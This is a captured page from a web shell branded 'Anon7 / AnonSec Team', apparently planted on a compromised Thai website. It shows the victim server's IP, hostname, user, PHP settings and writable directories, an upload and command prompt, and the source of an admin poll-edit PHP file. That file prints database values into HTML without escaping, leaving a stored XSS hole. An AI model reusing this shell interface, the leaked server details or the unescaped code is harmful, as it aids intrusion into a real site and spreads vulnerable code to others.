NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.216.71.122
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/admin/sub/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/admin/sub/PollMain-edit.php
<?php  
    require_once('session_backend_administrator.php');
header('Content-Type: text/html; charset=UTF-8');
    if($STT_login=="admin_login_true"){

        $check_type = "การสำรวจแสดงความคิดเห็น";
        $check_link = "PollMain";

        $check_id = $con_db_administrator->real_escape_string($_GET['id']);

        if( $check_id=="" or !isset($check_id) ){
            echo "<SCRIPT type='text/javascript'>
                    alert('ไม่พบข้อมูล ที่ต้องการแก้ไข');
                    window.location.replace('../index');
                </SCRIPT>";
            exit;
        }else{
            $sql_data = " SELECT * FROM `data_poll` WHERE `id_poll`='$check_id' "; 
            $qr_data = mysqli_query($con_db_administrator, $sql_data); 
            $rs_data = mysqli_fetch_assoc($qr_data); 
            if( empty($rs_data) ){
                echo "<SCRIPT type='text/javascript'>
                        alert('ไม่พบข้อมูล ที่ต้องการแก้ไข');
                        window.location.replace('$check_link');
                    </SCRIPT>";
                exit;
            }
        }
    }else{
        echo "<SCRIPT type='text/javascript'>
                alert('กรุณาเข้าสู่ระบบ');
                window.location.replace('../index');
            </SCRIPT>";
        exit;
    }
?>
<!doctype html>
<html lang="en">
    <head>
        <?php  include_once ("head.html"); ?>
    </head>
    <body class="" >
        <?php  include_once ("menu.php"); ?>
        <div class="container pt-3 pb-4 " >
            <div class="row ">
                <div class="col text-secondary" >
                    <div class="p-1 ps-2 box-link " ><a href="../backend-administrator" class="link-info">หน้าหลัก</a> / <a href="<?php echo $check_link;?>" class="link-info"><?php echo $check_type;?></a> / แก้ไขข้อมูล <?php echo $check_type;?></div>
                </div>
                <div class="w-100 pb-4"></div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
                <div class="col-auto text-center">
                    <span class="lh-sm h1 fw-700">แก้ไขข้อมูล <br class="showTab"><?php echo $check_type;?> </span>
                </div>
                <div class="col m-auto" >
                    <div class="bg-line-1 hideTab"></div>
                </div>
            </div>

            <div class="row mt-4 mb-5 p-2">
                <div class="col mx-auto box-data p-4" style="max-width:800px">
                    <form action="action/save-PollMain-edit" name='form_PollMain_edit' id='form_PollMain_edit' method="post" enctype="multipart/form-data">
                    <input type="hidden" name="edt_id" value="<?php echo $rs_data['id_poll']; ?>" readonly>
                        <?php
                            $date = str_replace('/', '-', $rs_data["lastupdate_poll"]); 
                            $date_poll = date("Y-m-d",strtotime($date)); 
                        ?>
                        <div class="row mb-3">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">วันที่ลง</label>
                            <div class="col-lg-10">
                                <input type="date" class="form-control w-selec" id="edt_date" name="edt_date" data-date-format="DD MMMM YYYY"  value="<?php echo $date_poll; ?>" style="max-width:150px" required>
                            </div>
                        </div>
                        <hr class="hr-das mb-3">
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำถาม</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_question" value="<?php echo $rs_data['question_poll']; ?>" required>
                            </div>
                        </div>
                        <hr class="hr-das mb-3">
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำตอบ 1</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_answer1" value="<?php echo $rs_data['answer1_poll']; ?>" required>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำตอบ 2</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_answer2" value="<?php echo $rs_data['answer2_poll']; ?>" required>
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำตอบ 3</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_answer3" value="<?php if($rs_data["answer3_poll"]!=""){echo $rs_data["answer3_poll"]; }else{ echo ''; }  ?>" >
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำตอบ 4</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_answer4" value="<?php if($rs_data["answer4_poll"]!=""){echo $rs_data["answer4_poll"]; }else{ echo ''; } ?>" >
                            </div>
                        </div>
                        <div class="row mb-4">
                            <label class="col-lg-2 col-form-label fw-700 txtbox-align">คำตอบ 5</label>
                            <div class="col-lg-10">
                                <input type="text" class="form-control " name="edt_answer5" value="<?php if($rs_data["answer5_poll"]!=""){echo $rs_data["answer5_poll"]; }else{ echo ''; } ?>" >
                            </div>
                        </div>
                        <hr class="hr-das mb-4">
                        <div class="row mb-4">
                            <label class="col-2 col-form-label m-auto fw-700 txtbox-align">สถานะ</label>
                            <div class="col-10">
                                <select class="form-select" name="statusshow" style="max-width:200px">
                                    <option value="0" <?php if($rs_data['stt_poll']=="0"){ echo "selected"; }?>>แสดง</option>
                                    <option value="1" <?php if($rs_data['stt_poll']=="1"){ echo "selected"; }?>>ไม่แสดง</option>
                                </select>
                            </div>
                        </div>
                        <hr class="hr-das mb-3">
                        <div class="text-center">
                            <button type="submit" class="btn btn-success"><i class="fas fa-save me-2" ></i> บันทึกข้อมูล</button>
                            <button type="button" class="btn btn-danger ms-2" onclick="location.href='<?php echo $check_link;?>'">ย้อนกลับ</button>
                        </div>
                    </form>

                </div>
            </div>

            <?php  include_once ("../footer.php"); ?>
        </div>
    </body>

</html>

Anon7 - 2022
AnonSec Team